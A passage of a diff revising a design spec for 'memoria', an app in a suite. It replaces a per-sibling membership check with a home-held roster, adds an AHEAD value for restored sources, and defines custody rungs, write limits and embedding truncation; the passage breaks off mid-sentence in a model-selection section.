+for an item the sibling still admits**, which is the partial-restore case
+and the one no feed signal can see.
**memoria never compares two revisions, and this is what makes `STALE`
and `AHEAD` well-defined.** A revision is an opaque token issued by the
@@ -743,22 +1260,49 @@ pair gets exactly one result or the whole call is `UNKNOWN`. Without that
rule a missing entry falls through to omission, which is the silent path
again. Gate 6.
-**This subsumes per-item membership, and draft 3 dropped the
-qualifier.** There is no membership *synchronisation* and no membership
-table, because a non-member's items all come back `NOT_VISIBLE` from the
-app that knows, and the four unreconciled tables of §1.2 are simply not
-consulted. But there is exactly one separate "is P a member?" question,
-and §4.3's `S7` is it. It is asked once at the door, about the team
-rather than about an item, and it exists because §4.2's memoria-owned
-content has no sibling to ask per passage. Draft 3 said no such question
-existed and then specified it two sections later; that is a sentence that
-survives redrafting by being about nothing.
+**S2 subsumes per-item membership, and nothing else.** Draft 3 said it
+"subsumes membership" without the qualifier and draft 4 put it back: there
+is no membership *synchronisation* and no membership table, because a
+non-member's items all come back `NOT_VISIBLE` from the app that knows,
+and §1.2's four unreconciled tables are simply not consulted.
+
+**But "is P a member of this team?" is a real and separate question**, and
+since suite ruling 4 it is the home's roster that answers it, not `S7` and
+not a sibling (§4.3). It is asked once at the door, about the team rather
+than about an item. The two must not be run together: authorization is per
+asker, per query, **never cached at any scope**; admission is a pulled copy
+refreshed by epoch. Collapsing them is what `S7`'s per-session cache did,
+and separating them is the whole point of the roster split.
**Revision matters.** A document that stays team-visible but whose newer
revision removed a sentence must not have its stale chunk spoken: a
revision behind the sibling's current one answers **`STALE`**, and memoria
refetches rather than omitting.
+**A source can be *behind* the revision we hold, and that is not `STALE`.**
+`STALE` means the sibling has moved *past* the revision memoria asked
+about — an ingestion delay, and memoria refetches. The opposite happens
+too: a sibling restored from backup can sit *behind* it, so the app of
+record does not recognise the revision at all. **That answers `AHEAD`, and
+withholds loudly while the source re-announces.** Never `VISIBLE`, which
+would authorise a revision nobody can vouch for; never `NOT_VISIBLE`, the
+silent value and the mistake `STALE` was added to fix; and not `UNKNOWN`
+either, which reports that nobody answered when the app of record answered
+precisely about its own log. Three wrong homes, which is why the values are
+five and not four.
+
+*This paragraph said `UNKNOWN` until 2026-09-06, citing suite §4.3 and
+GPT-6's finding 11 — correctly, for revision 7. Revision 10 replaces that
+ruling with `AHEAD`, so the citation stood while the thing it cited had
+moved. Until the module ships the fifth constant the CODE maps this case
+to `UNKNOWN`; the spec no longer pretends that is the design.*
+
+**Everything below `AHEAD` in this section is specified against the
+five-value design and cannot be built until the module ships it** — gate 6,
+§8.1's third breaker, §5.2's step 2 and §7.4's post-restore reconciliation
+all name a value the pinned `suite.Authorization` does not carry. That is
+one dependency with one date, not five open questions.
+
**Batch cap: 256 pairs per call**, multiple calls permitted. Draft 1's 64
was tied to answer top-k and did not survive paginated search or
derived-artefact expansion (§5.2). The number's reason: one page of
@@ -777,8 +1321,10 @@ members table (decision 11, §2) and there are no per-person grants:
holding grants would be an authorization model, which §4.3 says memoria
does not have. The test is two facts and nothing else:
-1. **the asker is admitted** — §4.3's relayed answer, which is a
- statement about the *team* and not about this document; and
+1. **the asker is admitted** — §4.3's answer, which since suite
+ ruling 4 is the home's roster in suite shape and the owners list
+ in lone shape. A statement about the *team*, not about this
+ document; and
2. **the document is present in memoria and not deleted.**
So memoria-owned content is team-wide by construction. Anything a
@@ -816,207 +1362,92 @@ the source" is answerable later without a migration. Keeping the
documents is a decision; being unable to list them is not licensed by
it.
-### 4.3 Admission is derived from the siblings
+### 4.3 Admission comes from the roster
-A person reaches memoria with a home assertion whose `aud` is memoria's
-host. **Whether they are admitted is asked of the siblings, not answered
-from a table memoria maintains** (decision 11).
+**Admission is the home's roster — suite §5.3, ruling 4.** memoria holds no
+members table of its own and asks no sibling. In **suite shape** it pulls
+the roster (suite call 8, consumer token, roster epoch in every response)
+and admits from it. The epoch rides the home's own responses — calls 2, 5
+and 8 and the assertion — and **sibling calls carry none, deliberately**
+(suite §5.3), so nothing in S1, S2 or S3 grows a membership field. In
+**lone shape**, where there is no home, admission is the owners list,
+exactly as slice 0 does today.
Draft 2 had memoria keep its own members table, and the draft-2 review
-showed why that fails. S2 protected sibling content, but admission and
-§4.2's memoria-owned content both used memoria's own list — so a person
-removed from the team in Sheets and Docs, and not removed in memoria,
-could still sign in and read the team's Notion pages, Drive files,
-forwarded mail and uploads. The membership drift decision 3 was written to
-eliminate survived in exactly the half nobody was looking at.
-
-**The rule: a person is admitted if at least one sibling answers that
-they are a member of this team.** That is one more call:
-
-```
-S7(person_ref) → MEMBER | NOT_MEMBER | INDETERMINATE | UNKNOWN
-```
-
-**`MEMBER` has to mean "member of this team", not "known to this app",
-and draft 3 did not say which.** Sheets §8.2 and Docs §8.2 both describe
-sharing as membership, so a person granted a single sheet is a member
-there, in those specs' own words. Under draft 3's rule that person was
-admitted to memoria — and §4.2 then handed them every Notion page, Drive
-file, forwarded mail and upload the team holds, because §4.2's authority
-is admission plus presence and nothing else. **One shared sheet bought
-the whole memoria-owned corpus.** So the predicate is stated narrowly,
-and the values carry the distinction rather than leaving it to a comment:
-
-| Result | Means | memoria does |
-|---|---|---|
-| `MEMBER` | this person is on this team's roster at this sibling: they reach the team's shared content by being on the team, not by holding a grant on some item | admit |
-| `NOT_MEMBER` | this person is not on this team's roster at this sibling — **whether they were removed, whether they are a guest holding individual grants, or whether this sibling has no record of them at all.** All three are the same answer to the question actually asked | do not admit on this sibling's word |
-| `INDETERMINATE` | this sibling cannot separate a member from a guest. Not an outage — a statement about the sibling's own model | never admits, and is an operator-visible defect at that sibling |
-| `UNKNOWN` | no useful answer: timeout, non-2xx, malformed body, an unrecognised value | do not admit on this sibling's word |
-
-**`INDETERMINATE` and `UNKNOWN` both refuse, and they are still two
-values**, for the same reason `STALE` is not `NOT_VISIBLE`: one is
-transient and one is permanent. A sibling that has not implemented the
-distinction answers `INDETERMINATE` on every call forever, and collapsing
-it into `UNKNOWN` makes a permanent misconfiguration read as a flaky
-network for as long as it lasts. `INDETERMINATE` is reported once on the
-owner's sources page, as a sibling that cannot vouch for anyone, rather
-than as an outage per sign-in.
-
-**S7's decoder is total, the same way S2's is** (§4.1), and draft 4 left
-it to be inferred. Every `S7` call yields exactly one of the four values.
-A timeout, a non-2xx, a malformed body, an unrecognised value, an empty
-body, or **an answer about a person ref other than the one asked** is
-`UNKNOWN`. The last of those is the one worth naming: a sibling that
-answers about the wrong person has answered, and a decoder that reads the
-verdict without checking the subject would admit on it.
-
-**"This sibling has never heard of this person" is `NOT_MEMBER`, not
-`UNKNOWN`.** The question is "is this person on this team's roster at
-you", and a sibling with no record of them can answer it: no. Calling it
-`UNKNOWN` would say the sibling failed to answer when it answered
-perfectly well, and — because `UNKNOWN` from every sibling refuses too —
-it would make no difference at the door while making the sources page
-report an outage that is not happening.
-
-**The consequence is that admission does not work until at least one
-sibling can answer this question, and today none of them can — and that
-is a BLOCKER of decision 1's class, not a ticket in someone else's
-repo.** Draft 4 filed it as "work in their repos, the same shape as
-S1–S3", and the review was right that it is a different shape. S1–S3 ask
-the siblings to *build* something they have not built. This asks them to
-**stop meaning what their own settled specs say they mean**: Sheets §8.2
-and Docs §8.2 both define sharing *as* membership, in those words, and
-§4.3's `MEMBER` requires them to hold a roster that a shared item does
-not join. §1.3's own rule is that **memoria cannot overturn another app's
-settled decision in its own table** — and narrowing `MEMBER` in §4.3 is
-exactly that move, made in a subsection instead of in §1, which is worse
-rather than better.
-
-So it goes to §13 marked as needing Paul, beside the decision-1 blocker,
-and it has the same two possible outcomes: the siblings adopt a
-member/guest distinction, or decision 11 is narrowed so admission does
-not rest on their answer. **Neither is memoria's to choose.** Until one
-of them lands, `S7` answers `INDETERMINATE` everywhere and only the
-configured owners are admitted — which is the correct failure, and is
-also §11's slice-1 position held one slice longer.
-
-**The cache, and the number draft 3 never chose.** Draft 3 said `S7` is
-"cached for the life of a session … because it changes on the timescale
-of employment rather than of editing". The timescale claim is true and
-the conclusion did not follow from it. memoria overrides nothing, so the
-session lifetime is `rastrillo/auth`'s `DefaultSessionTTL` of 30 days,
-and a person removed from every sibling went on reading memoria-owned
-content for up to a month. **A default is not a decision.** Two numbers,
-both memoria's to set:
-
-- **The `S7` answer is cached for 15 minutes.** The first request past
- that re-asks before serving anything. Fifteen minutes is chosen against
- cost: a query already makes a live S2 call to every contributing
- sibling (§6.5), so one more call per person per quarter-hour is inside
- the noise of a path that is already sibling-bound, while asking per
- request would double the call count on the cheapest answer in the
- design.
-- **memoria's session TTL is 12 hours** — set explicitly rather than
- inherited, and **provisional: §13 marks it as Paul's to set.**
-
- **Draft 4's reason for the number was wrong and is replaced.** It said
- a sign-in is "a magic link sitting in mail we cannot delete", which
- conflates two different lifetimes. The link's lifetime is
- `rastrillo/auth`'s `pendingTTL`, **10 minutes**; the link in the mailbox
- is dead long before anyone finds it. What lives 30 days by default is
- the *session cookie*, which is `DefaultSessionTTL`, and it is not in
- anybody's mail. The number may still be right; the argument for it was
- about the wrong object.
-
- **The argument that does apply is §3.3's.** A session is a bearer
- credential sitting in a browser, and memoria's is worth more than any
- sibling's, because behind it is the union of four apps' content rather
- than one app's. A left-open laptop, a shared machine, a stolen device or
- a copied cookie reaches everything the team has, and reaches it for as
- long as the session lasts. Twelve hours is one working day: a person
- signs in daily, and an abandoned session is stale by the next morning
- rather than by the next month. Against that, the cost is one magic link
- per person per working day, which is a real friction and is the half of
- the trade only Paul can price.
-
-**So the revocation tail is at most 15 minutes for memoria-owned content,
-and zero for sibling content**, because §4.1's S2 runs live on every
-passage and no part of it is cached.
-
-**Except for owners, where that sentence is false, and draft 4 let it
-stand unqualified.** Decision 11's exception is the platform-configured
-owners list, and an owner is admitted without `S7` — so no refresh falls
-due and nothing revokes them. **An owner's tail is however long it takes
-to change platform config and restart the app**, which is an operator
-action on a hibernating instance, not a quarter of an hour. That is the
-right shape for an operator credential and the wrong shape for a member,
-which is precisely why the list must not grow one person at a time (§2).
-It is stated here so that "at most 15 minutes" is not read as covering
-the one set of people it does not cover.
-
-**That is a cached authorization decision, and §6.5 says never to cache
-one.** The reconciliation is not that the cache is small; it is which
-sentence §6.5 is making. §6.5 forbids caching a *sibling's* answer about
-a *passage* — a thing the sibling owns, which is asked one item at a
-time and can change at any moment. `S7` is an answer about a person's
-relationship to a team, owned by the same siblings and changing on the
-timescale decision 11 describes. For sibling content the cache is not
-authorization at all: §4.1 still runs on every passage, whatever S7 said.
-**For memoria-owned content the cache *is* the authorization, and that is
-the honest price of §4.2 having no other owner to ask.** Fifteen minutes
-is the size of that price, written down so it can be argued with, rather
-than a month arrived at by not looking.
-
-Three further consequences worth stating:
-
-- **`UNKNOWN` or `INDETERMINATE` from every sibling refuses the
- session.** Fail closed: an unreachable or unimplemented suite means
+showed why that fails: S2 protected sibling content, but admission and
+§4.2's memoria-owned content both used memoria's own list, so a person
+removed everywhere else could still sign in and read the team's Notion
+pages, Drive files, forwarded mail and uploads. That failure is real and
+the roster fixes it. What draft 3 got wrong was the *replacement*.
+
+**What this replaces, and why it was broken.** Decision 11 admitted a
+person if **at least one sibling answered `MEMBER`** to a call `S7`. Two
+things were wrong with it. The small one: it cached membership for the life
+of a session, and ruling 3 now says authorization is never cached at any
+scope — the word "session" in the doctrine's first draft came from *this
+rule*, and folding admission into authorization is precisely the
+conflation the roster split exists to remove. **Custody and admission are
+person-less or roster-shaped; authorization is per asker, per query, never
+cached. They are three different things and S7 blurred two of them.**
+
+The large one: **`MEMBER` has no value for a guest.** A guest is not on any
+roster, so "at least one sibling says MEMBER" is undefined for exactly the
+person the rule most needed to exclude — and memoria's own §13 carried
+that as an open question it could not answer from inside decision 11.
+Under ruling 4 it answers itself: guests are never on the roster. **S7 is
+retired.**
+
+Three consequences worth keeping:
+
+- **No roster, no admission.** Fail closed: an unreachable home means
nobody new signs in, which is an outage, where the alternative is
- admitting someone nobody can vouch for.
-- **A refresh that cannot complete refuses the request. It does not
- destroy the session, and it never extends the cached answer.** Draft 4
- said both things four lines apart — "the first request past that
- re-asks before serving anything" and "survives … until its next refresh
- falls due, and then it does not" — which leaves an implementer to guess
- between refusing one request and signing the person out. The ruling:
-
- - a refresh that times out, errors or returns `UNKNOWN` from every
- sibling is `UNKNOWN`. **`UNKNOWN` is never "keep serving on the
- expired answer"** — that is the cached-authorization failure this
- whole section is written against, and it would make the 15 minutes
- a floor rather than a bound;
- - the *request* is refused, with a stated reason, and the session
- stays. The next request retries the refresh. So a 30-second sibling
- blip costs a page, not a sign-in;
- - the session is destroyed only by its own 12-hour TTL, by an explicit
- sign-out, or by a **successful** refresh answering `NOT_MEMBER` or
- `INDETERMINATE` from every sibling — a positive statement that this
- person is not a member, which is a different thing from nobody
- answering.
-
- Destroying the session on a failed refresh would be worse in both
- directions: it converts every transient outage into a fresh magic link
- — a new live credential in mail, for a failure that was ours — while
- buying nothing, because the refused request already served nothing.
-
-- **So a suite-wide outage stops everybody within a quarter of an hour,
- and signs nobody out.** That is a narrower promise than draft 3's "for
- its TTL", and it is the one the cache actually makes. Home §2.1 accepts
- outage over unsound admission for the suite as a whole; this is that
- trade on a shorter clock.
-- **memoria still holds no authorization model.** It holds no answer of
- its own — it relays one, keeps it for a stated 15 minutes, and §4.1
- still governs every passage after the door.
-
-**Slice 0 has no siblings, so it has no S7**, and the spec should say so
-rather than leave a reader to infer a table. Until the first sibling is
-connected the only people admitted are the platform-configured owners the
-app refuses to start without. That list admits operators, it is not a
-roster, and **it does not grow**: when the first sibling connects,
-everyone who is not an owner comes from `S7`. Extending the owners list
-one person at a time would be the members table decision 11 rejected,
-arriving under another name.
+ admitting someone nobody can vouch for. In lone shape the owners list is
+ local and this cannot arise.
+- **A stale roster stops team standing for everybody, sessions included.**
+ Within the TTL the pulled copy is enforced as it stands. Past the TTL
+ with no successful fetch it is stale, and team standing stops being
+ established for anyone — **including people already in a session** — so
+ S2 answers `UNKNOWN` and the page withholds loudly. An unfamiliar roster
+ generation holds the stale copy until an owner confirms it. Suite §5.3,
+ gate 5.
+ *This spec said the opposite until 2026-09-05: "a session already minted
+ survives an outage for its TTL". That is the doctrine's revision-3
+ position, which it retracted — on a 30-day sliding session it is an
+ outage-length revocation tail, the very thing the paragraph claimed to
+ reject, and it is the same tail §13 had been carrying as an open defect
+ of S7.*
+- **memoria still holds no authorization model.** It holds no answer of its
+ own; it reads a roster and relays it, and §4.1 governs every passage
+ after the door.
+
+**Draft 4's hardest finding survives the call it was about, and it is why
+the roster is the right answer rather than merely the doctrine's.** It
+found that `MEMBER` had to mean *member of this team* and not *known to
+this app*, because Sheets §8.2 and Docs §8.2 both describe sharing as
+membership — so a person granted a single sheet is a member there, in
+those specs' own words. Under the old rule that person was admitted to
+memoria, and §4.2 then handed them every Notion page, Drive file,
+forwarded mail and upload the team holds. **One shared sheet bought the
+whole corpus.**
+
+Asking a sibling could never cleanly separate the two questions, because
+the sibling only knows its own. A roster held by the home answers *member
+of this team* and nothing else, which is the property draft 4 was reaching
+for and could not get from S7.
+
+**Slice 0 has no home and no siblings, so admission is the owners list
+and nothing else**, and the spec should say so rather than leave a reader
+to infer a table. Until a home exists, the only people admitted are the
+platform-configured owners the app refuses to start without. That list
+admits operators, it is not a roster, and **it does not grow**: when a home
+exists, everyone who is not an owner comes from the pulled roster (suite
+call 8). Extending the owners list one person at a time would be the
+members table decision 11 rejected, arriving under another name.
+
+*This paragraph said "slice 0 has no S7" and "everyone who is not an owner
+comes from S7" until 2026-09-06 — inside the section that retires S7,
+reintroduced by the merge from a branch written before ruling 4. §1.10's
+rule is to grep the retired thing by name; this is what it catches.*
No guests, no anonymous link viewers — and after this section, no guest
of a *sibling* either. Admission is not authorization: an admitted person
@@ -1032,6 +1463,25 @@ still sees only what §4.1 and §4.2 allow.
team-visible. That mark is the *custody* gate of decision 3 — it bounds
what memoria holds. It is not the authorization gate; §4.1 is.
+**What "team-visible" means is suite ruling 15's, and it is narrower than
+it sounds.** An item sits on one of three rungs — *private*, *granted* to
+named people, or *team* — and **only the `team` rung is team-visible**. So
+custody keys on the rung and **never on a read-only link**: a link
+capability makes an item readable by whoever holds the URL, which is not
+the same as the team being able to find it. Treating a link as
+team-visible would turn a capability held by whoever was sent it into a
+row every team member reaches by search — which is the specific mistake
+ruling 15 rejects, and it would arrive here, at ingest, where memoria
+decides what to hold.
+
+Two consequences memoria must not paper over. A `granted` item is outside
+custody **even when the asker holds the grant**, which is why §4.1's
+intersection sits at the sibling and why a person can lose a passage here
+while the document stays open to them at the source. And an item that
+moves from `team` to `granted` leaves custody: it arrives as `gone` in S1,
+indistinguishable from deletion by §4.2's design, and memoria deletes
+rather than downgrades.
+
**From outside the suite:** an admin configures a connector, and the
sharing act at the far end is the publish.
@@ -1089,7 +1539,15 @@ The hard case is derived content, because a fact outlives its source.
**Ruled (decision 8): every derived artefact carries provenance as
`(source_id, revision)` pairs, and is deleted or regenerated when any of
-them stops resolving *or moves to a new revision*.** Draft 1's rule was
+them stops resolving *or moves to a new revision*.**
+
+**And it records the model that produced it, beside that provenance**
+(decision 4, widened 2026-09-05). Not for attribution's sake: an artefact
+is *regenerated* when a source moves, so the model that made the row a
+reader is looking at is often not the one that made it first. Without the
+producing model stored alongside, a regenerated artefact silently inherits
+the name of its predecessor — a naming requirement that reports the wrong
+name is worse than none, because it is believed. Draft 1's rule was
id-level, which left "the Q3 target is X" standing after the source
changed to Y — provenance that resolves and is wrong.
@@ -1234,13 +1692,13 @@ memoria pulls on its own wake and on each question. It runs no timers.
| # | Call | Notes |
|---|---|---|
| S1 | Change feed | Cursor is an opaque position in the sibling's event log, issued by the sibling, stored per consumer. **A revision is opaque too:** memoria tests revisions for equality and never orders them (§4.1). A row is `(item_id, revision, gone, touched_at)` — **no title, no content, no visibility flag** — so it passes the plaintext-grep gate unaided. Retention is a **per-consumer TTL** (home §9.1: "any 'prune when all consumers have caught up' is unbounded in a hibernating fleet"). Past TTL, or a restore-rewound cursor, takes a full re-announce. |
-| S1a | Re-announce | The complete form of S1, and §4.1 makes it load-bearing rather than a recovery convenience. Opens with a marker, lists **every** item the sibling currently holds as team-visible, closes with a marker carrying the item count. Paginated; the cursor it issues is valid only once the closing marker is read. **An announce that does not close, or whose count disagrees with what memoria received, has failed and authorises no retirement** — gate 7's rule, and gate 27 holds it. |
-| S2 | Authorization re-check | `(person_ref, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / AHEAD / UNKNOWN` per item. §4.1 specifies it, including the total decoder. `AHEAD` requires the sibling to compare the asked-for revision against its own log rather than against its current row, **and to answer `AHEAD` rather than `NOT_VISIBLE` for an item it has no row for at all.** Cap 256 pairs. |
+| S1a | Re-announce | The complete form of S1, and §4.1 makes it load-bearing rather than a recovery convenience. Opens with a marker, lists **every** item the sibling currently holds as team-visible, closes with a marker carrying the item count. Paginated; the cursor it issues is valid only once the closing marker is read. **An announce that does not close, or whose count disagrees with what memoria received, has failed and authorises no retirement** — gate 7's rule. |
+| S2 | Authorization re-check | `(subject, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / UNKNOWN` per item, **plus `AHEAD` once the contract carries it** — see §4.1, which records that memoria wants a fifth value and `suite.Authorization` has four. Asker is a **typed subject** with its kind on the wire (suite §3); **the sibling intersects its answer with custody** (suite §4.3) — §4.1 explains why memoria depends on that and cannot do it itself. Total decoder, cap 256 pairs. **Never cached, at any scope** (ruling 3). |
| S3 | Content fetch | **`(id, revision)`, no person** → plaintext body over TLS into memoria's RAM only. The sibling answers only for items that are **team-visible** — the custody predicate, not the grants join — and **404s, never 403s**. This is an ingest call and there is no asker on the ingest path. |
-| S4 | Tombstone | *a feed row.* `gone` covers deletion and departure from team-visibility, indistinguishably. |
-| S5 | Consumer expiry | *no call.* TTL expiry is the decommission verb. |
-| S6 | Aggregate | `(person_ref, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `AHEAD(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)`. **Units are not S6's job**: `MIXED_UNITS` and `UNIT_UNKNOWN` are memoria's verdicts, reached before the call, because Sheets cannot see the header words memoria indexed (§8.7). Cap 64 cells. Never cached. |
-| S7 | Team membership | `(person_ref) → MEMBER / NOT_MEMBER / INDETERMINATE / UNKNOWN`. §4.3's admission relay. **`MEMBER` means "on this team's roster", never "known to this app": a guest holding individual grants is `NOT_MEMBER`, and a sibling that cannot tell the two apart answers `INDETERMINATE` and admits nobody.** Cached 15 minutes — not per request, and not for the life of a session. |
+| ~~S4~~ | Tombstone | *a feed row, and no number is reserved for it* (suite §6). `gone` covers deletion and departure from team-visibility, indistinguishably. Numbering a non-call is how a table starts reading as a contract. |
+| ~~S5~~ | Consumer expiry | *no call, and no number.* TTL expiry is the decommission verb. |
+| S6 | Aggregate | `(subject, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)`. **Units are not S6's job**: `MIXED_UNITS` and `UNIT_UNKNOWN` are memoria's verdicts, reached before the call, because Sheets cannot see the header words memoria indexed (§8.7). Cap 64 cells. Typed subject and the custody intersection, as S2. Never cached. **Specified, not built** — suite §12 step 4. |
+| ~~S7~~ | ~~Team membership~~ | **RETIRED 2026-09-05.** It existed because there was no roster of record; suite call 8 is that record, and admission is §4.3's. Draft 4's hardest work on it — that `MEMBER` must mean "on this team's roster" and never "known to this app", with `INDETERMINATE` for a sibling that cannot tell them apart — is the property the roster has by construction, and §4.3 carries the reasoning. Its 15-minute cache was the conflation of admission with authorization that ruling 3 now forbids outright. |
**Draft 1's S1 row carried a `visible-to-team` field, and that was a
leak.** With it, a `visible=false, gone=false` row tells memoria that a
@@ -1283,6 +1741,29 @@ comment, not to add a person to the call.
So: **S3 is custody-scoped and person-less. S2 is the only per-person
gate, and nothing is spoken without it.**
+**The definitions above are no longer memoria's to state.** Suite ruling 7:
+one contract, one Go module, fixtures as the interface — every app imports
+`amadan.net/oficina/suite`, serves its half, and passes the conformance
+suite in CI. An app spec cites the doctrine and never restates it, because
+each spec restating the contract in its own words is exactly what drifted.
+So **S1, S2, S3 and S6 are the module's**, and what survives here is
+memoria's own reasoning about them: why S3 carries no person, why the four
+S2 values are four, what a slow sibling costs. The wire shapes are the
+module's and the fixtures are the interface.
+
+**S6 is cited as a specification, not as a fixture, and that is
+deliberate.** The module on `main` is S1, S2 and S3; there is no S6 fixture
+to conform to yet. Suite §12 **step 4** builds it — after memoria's slice 1
+and before slice 2 — so §8.7's numeric path cites a call that is scheduled
+rather than one that exists, and picks up the fixture when it lands.
+Nothing else waits on it: **slice 1 needs S1, S2, S3 and §4.1 only.**
+
+*Suite revision 5 left S6 in the contract table with no step at all, which
+let a numbered call read as a finished one; revision 6 gave it a step and
+put it before slice 1, implying a dependency that does not exist; revision
+7 placed it at step 4 and said so in the step. Recorded because "cite S6"
+meant three different things in one evening.*
+
### 6.2 Authentication, and rotation
**Per-consumer bearer tokens, minted by the operator drain, delivered as
@@ -1347,9 +1828,38 @@ which is how home §2.2 survives decision 1.
### 6.4 What decision 1 does not license
Any hop across a `<team>` label. Any instance presenting an assertion.
-Any write. Any sibling item outside the team-visible custody rule. The
-home in the loop. Content leaving the four hosts, except §8.3's named
-provider, which is a disclosed exception and not a sibling.
+**Any write except suite §7: a person's own hand-off, and S8 as memoria
+itself into its designated area.** Any sibling item outside the
+team-visible custody rule. The home in the loop. Content leaving the four
+hosts, except §8.3's named provider, which is a disclosed exception and not
+a sibling.
+
+**The write exception is narrow and it is suite ruling 9's: a write names
+its real actor, and no sibling ever acts as a person.** Two forms and no
+third — the hand-off (suite §7.1) and S8 (suite §7.2) — and **the wire
+shapes are the doctrine's, cited here and not restated.** An earlier
+version of this paragraph described the hand-off as "memoria renders a
+form that POSTs to the receiving app's create endpoint; memoria is not in
+the write at all, it only drew the button", which is the drifted
+restatement ruling 7 exists to prevent, and it drifted in the direction
+that made memoria's own obligations disappear.
+
+**memoria's own obligations, which are the part that belongs here:**
+
+- **The destination is validated against memoria's own `<team>` label
+ before the form is rendered.** memoria is in the write to that extent —
+ it chooses where the button points.
+- **A `form-action` CSP allowance** for the receiving origin, in memoria's
+ rastrillo config. Gate 4's log rule runs on memoria's side of this, and
+ the receiving app's create endpoint commits on receipt only after its own
+ confirmation step (suite §7.1: "a create endpoint that commits on receipt
+ is a drive-by"), which is the receiver's obligation and not ours.
+- **On-behalf-of writes are refused for good**, because a sibling token
+ that can write as a person is a write capability over every member's
+ identity.
+
+This spec previously forbade all writes, which was simpler and also
+forbade a person clicking "save this to Docs" with their own hands.
### 6.5 Availability: the deadline, and what a slow sibling costs
@@ -1372,7 +1882,9 @@ is declared.
honest consequence: the first search after a quiet period reliably
withholds. So memoria **polls S1 at every configured sibling on its own
wake**, before anyone has searched, to spend that latency where nobody
- is waiting.
+ is waiting. In suite shape it pulls the roster (suite call 8) on the same
+ wake, for the same reason and on the same grounds: call 8 carries a
+ consumer token and no asker.
- **Draft 3 said "fires S7 and a warm-up S2 on its own wake", and that
call cannot be made.** Both take a person ref and there is nobody there
on a wake — the same error as draft 2's per-person S3 (§6.1), repeated
@@ -1381,6 +1893,10 @@ is declared.
and warming a sibling is warming a sibling whichever endpoint does it.
A warm-up naming a person is a warm-up no fixture could ever have
received, which is how it survived a draft.
+ *The suite branch then wrote "pulls the roster and fires a warm-up S2",
+ which is the same mistake with one of its two halves fixed — the roster
+ pull is asker-less and fine, the S2 still is not. Corrected on merge,
+ 2026-09-06.*
- **A reliably slow sibling produces permanent withholding**, which is
worse than it sounds: the product's primary path degrades to "Sheets did
not answer" forever, and a reader learns to ignore the notice. There is
@@ -1442,8 +1958,58 @@ wrong by about 4×. The ceiling is a chunk count and only a chunk count.
The token figure follows from the measured chunk (202 words ≈ 270 tokens),
not the 400-token target: **24M, not the 36M draft 3 carried into §8.6.**
-**Vectors.** 512-dim Matryoshka embeddings (OpenAI's `-3` models accept a
-`dimensions` parameter), stored **int8-quantised**:
+**Vectors.** 512-dim Matryoshka embeddings, stored **int8-quantised**.
+
+**512 is a client-side truncation, not a requested dimension.** The
+parenthetical this replaced — *"OpenAI's `-3` models accept a `dimensions`
+parameter"* — is true of OpenAI and false of the provider §8.3 selects.
+`qwen/qwen3-embedding-8b` emits **4096 fixed** and *fails the request* if
+`dimensions` is sent. The pipeline therefore keeps the first 512 values and
+**re-normalises to unit L2**. That is valid because the model is trained
+Matryoshka.
+
+**Search computes a raw dot product over vectors stored unit-normalised**,
+not a cosine that divides by norms at query time. §7.3's `2 × N × D` flop
+figure already assumed this and the spec never said so. It matters here:
+**cosine is scale-invariant, so against a true cosine a skipped renormalise
+changes no ranking at all** — a gate written over cosine could not fail,
+which is the shape AGENTS.md says this codebase has already shipped three
+times. Over a raw dot product the same omission silently reorders results.
+So the earlier draft of this paragraph, which said "cosine similarity then
+degrades smoothly", was wrong twice: cosine does not degrade, and the thing
+that does degrade is the form the spec had not committed to.
+
+Gate 28 is therefore deterministic and cannot be argued past — *every
+stored vector has L2 norm 1 ± ε; mutation: skip the renormalise, expect
+red* — and gate 29 carries the measurement it cannot do.
+
+**It costs ingest bandwidth, not storage.** Truncation happens before
+storing, so the table below is unchanged — 90k chunks × 4096 f32 is
+**~1.4 GB decoded to store 46 MB**, a ratio of about 32×, not the 8× you
+get by mis-reading the kept width as the f32@512 intermediate (184 MB is
+what truncation yields; int8 quantisation is what is stored).
+
+**On the wire it is several GB, and base64 is not the way out.** Tested
+2026-09-05: `encoding_format: "base64"` is **accepted and silently
+ignored** — the response returns JSON floats, matching the request that
+omits the parameter. Not an error, just dropped. So the ~2 GB base64 figure
+an earlier draft hedged with is unavailable.
+**The replacement figure is derived, not measured, and the range is wide.**
+At ~11 bytes a float it is ~4 GB across 90k chunks; servers of this family
+often emit 17-significant-digit reprs at ~20 bytes, which is ~7 GB. A probe
+response was in hand and nobody counted its bytes — measure bytes-per-
+vector once and multiply, rather than guessing at a serialiser's precision.
+**And "no opt-out" overstates it:** `Content-Encoding: gzip` collapses
+digit strings, Go's client asks for it by default, and whether TensorX
+honours it is one response header on the same probe (§13). Note the behaviour as well as the number: **a provider that
+accepts a parameter and discards it will do so again**, which is an
+argument for asserting on what comes back rather than on what was asked
+for.
+
+This is ingest-time, not wake-time, so §7.3's ceiling is untouched. It is
+not free either: neither the first embed's wall-clock nor the batch size
+the endpoint accepts is written down anywhere, and §13 asks for the
+re-embed figure while the first embed's is equally absent.
| chunks | int8 @512 | f32 @512 | f32 @768 |
|---|---|---|---|
@@ -1683,7 +2249,11 @@ a provider — and per §3.2, nothing leaves the instance in this mode.
sources page is rendered, so a reader never waits on them.
- **Wholesale `AHEAD` is a third breaker**, and it reads differently: not
- a mis-scoped predicate but a restore (§4.1). It states a restore, marks
+ a mis-scoped predicate but a restore (§4.1). **Unbuildable until the
+ contract module ships the fifth constant** — with the wire mapping the
+ case to `UNKNOWN`, this breaker cannot fire at all, and worse, it would
+ be indistinguishable from the outage this section says must *not* trip
+ one. §13 carries the dependency. It states a restore, marks
the source for re-announce, **takes that source out of the ranking**,
and purges nothing. It needs no baseline and no asker floor, because a
single `AHEAD` is already a positive statement that the sibling lost
@@ -1720,10 +2290,69 @@ alongside it. The passages have already passed the gate.
Two configuration names — `model.cheap`, `model.frontier` — with the
route printed on the answer.
-**`openrouter/auto` is disqualified.** It selects by trailing-7-day
-community spend, changes weekly, and cannot be attributed — failing
-AGENTS.md §Review's "record which model" and decision 4's naming
-requirement.
+**The pinning rule bit the first two ids this section chose**, and the
+catalogue since settled how to satisfy it. The first pair were
+`z-ai/glm-5.3-flash` and `moonshotai/kimi-k3`, neither datestamped. **The
